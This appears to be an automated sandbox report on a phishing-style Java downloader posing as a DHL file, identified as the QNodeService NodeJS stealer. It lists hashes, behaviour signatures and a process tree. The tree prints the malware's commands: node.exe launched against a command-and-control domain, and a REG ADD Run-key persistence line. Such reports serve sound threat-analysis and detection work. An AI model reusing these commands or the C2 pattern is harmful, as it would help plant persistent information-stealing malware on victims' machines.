Analysis
-
max time kernel
41s -
max time network
134s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
09-11-2020 16:07
Static task
static1
Behavioral task
behavioral1
Sample
DHL_Nov 2020 at 1.30_8BZ290_JPG.jar
Resource
win7v20201028
Behavioral task
behavioral2
Sample
DHL_Nov 2020 at 1.30_8BZ290_JPG.jar
Resource
win10v20201028
General
-
Target
DHL_Nov 2020 at 1.30_8BZ290_JPG.jar
-
Size
80KB
-
MD5
bc9bc1344ede28241a766c62d8e9b85c
-
SHA1
69b27db9abbcb789446ca58bef12114bace70522
-
SHA256
6298a35bbd71c83523d72cccf0e868d3a2c1bfd1e96429c381d527b85d29ef69
-
SHA512
3ff826eba8a9bbc6e87e16b2b96a157af3ecc5ceb042068cc216ac339540ca8dc68b0f706273cd57a53fc2c18248bba191fd59c5394de06812a0b8258eab3385
Malware Config
Signatures
-
QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
-
Executes dropped EXE 3 IoCs
pid Process 3128 node.exe 2120 node.exe 1432 node.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\79c267f0-d14f-4c01-b891-0985dd9a054b = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\"" reg.exe -
JavaScript code in executable 3 IoCs
resource yara_rule behavioral2/files/0x000100000001ab81-173.dat js behavioral2/files/0x000100000001ab81-177.dat js behavioral2/files/0x000100000001ab81-181.dat js -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 23 wtfismyip.com 24 wtfismyip.com -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 3128 node.exe 3128 node.exe 3128 node.exe 3128 node.exe 2120 node.exe 2120 node.exe 2120 node.exe 2120 node.exe 1432 node.exe 1432 node.exe 1432 node.exe 1432 node.exe 1432 node.exe 1432 node.exe 1432 node.exe 1432 node.exe 1432 node.exe 1432 node.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 816 wrote to memory of 3488 816 java.exe 76 PID 816 wrote to memory of 3488 816 java.exe 76 PID 3488 wrote to memory of 3128 3488 javaw.exe 80 PID 3488 wrote to memory of 3128 3488 javaw.exe 80 PID 3128 wrote to memory of 2120 3128 node.exe 82 PID 3128 wrote to memory of 2120 3128 node.exe 82 PID 2120 wrote to memory of 1432 2120 node.exe 83 PID 2120 wrote to memory of 1432 2120 node.exe 83 PID 1432 wrote to memory of 3768 1432 node.exe 85 PID 1432 wrote to memory of 3768 1432 node.exe 85 PID 3768 wrote to memory of 516 3768 cmd.exe 86 PID 3768 wrote to memory of 516 3768 cmd.exe 86
Processes
-
C:\ProgramData\Oracle\Java\javapath\java.exejava -jar "C:\Users\Admin\AppData\Local\Temp\DHL_Nov 2020 at 1.30_8BZ290_JPG.jar"1⤵
- Suspicious use of WriteProcessMemory
PID:816 -
C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\8c793d80.tmp2⤵
- Suspicious use of WriteProcessMemory
PID:3488 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain ntums330.hopto.org3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3128 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Z1wpCR\boot.js --hub-domain ntums330.hopto.org4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Z1wpCR\boot.js --hub-domain ntums330.hopto.org5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1432 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "79c267f0-d14f-4c01-b891-0985dd9a054b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""6⤵
- Suspicious use of WriteProcessMemory
PID:3768 -
C:\Windows\system32\reg.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "79c267f0-d14f-4c01-b891-0985dd9a054b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""7⤵
- Adds Run key to start application
PID:516
-
-
-
-
-
-